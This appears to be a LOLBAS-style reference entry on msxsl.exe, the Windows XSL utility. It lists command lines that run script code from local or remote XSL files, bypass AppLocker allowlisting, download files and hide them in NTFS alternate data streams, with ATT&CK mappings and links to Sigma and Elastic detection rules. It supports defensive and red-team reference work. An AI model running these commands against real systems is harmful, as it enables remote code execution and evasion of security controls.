.. /msxsl.exe

Execute | AWL bypass | Download | Alternate data streams

Command line utility used to perform XSL transformations.

Paths:
no default

Resources:
- https://twitter.com/subTee/status/877616321747271680
- https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
- https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file

Acknowledgements:
- Casey Smith (@subtee)
- Ronnie Salomonsen (@r0ns3n)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml
- Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_msxsl_network.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

Execute

. Run COM Scriptlet code within the script.xsl file (local).

```
msxsl.exe customers.xml script.xsl
```

Use case: Local execution of script stored in XSL file.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1220

. Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

```
msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
```

```
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
```

Use case: Local execution of remote script stored in XSL script stored as an XML file.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1220

AWL bypass

. Run COM Scriptlet code within the script.xsl file (local).

```
msxsl.exe customers.xml script.xsl
```

Use case: Local execution of script stored in XSL file.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1220

. Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

```
msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
```

Use case: Local execution of remote script stored in XSL script stored as an XML file.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1220

Download

Using remote XML and XSL files, save the transformed XML file to disk.

```
msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml
https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
```

Use case: Download a file from the internet and save it to disk.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1105

Alternate data streams

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

```
msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml
https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o
<filename>:ads-name
```

Use case: Download a file from the internet and save it to an NTFS Alternate Data Stream.
Privileges required: User
Operating systems: Windows
ATT&CK® technique: T1564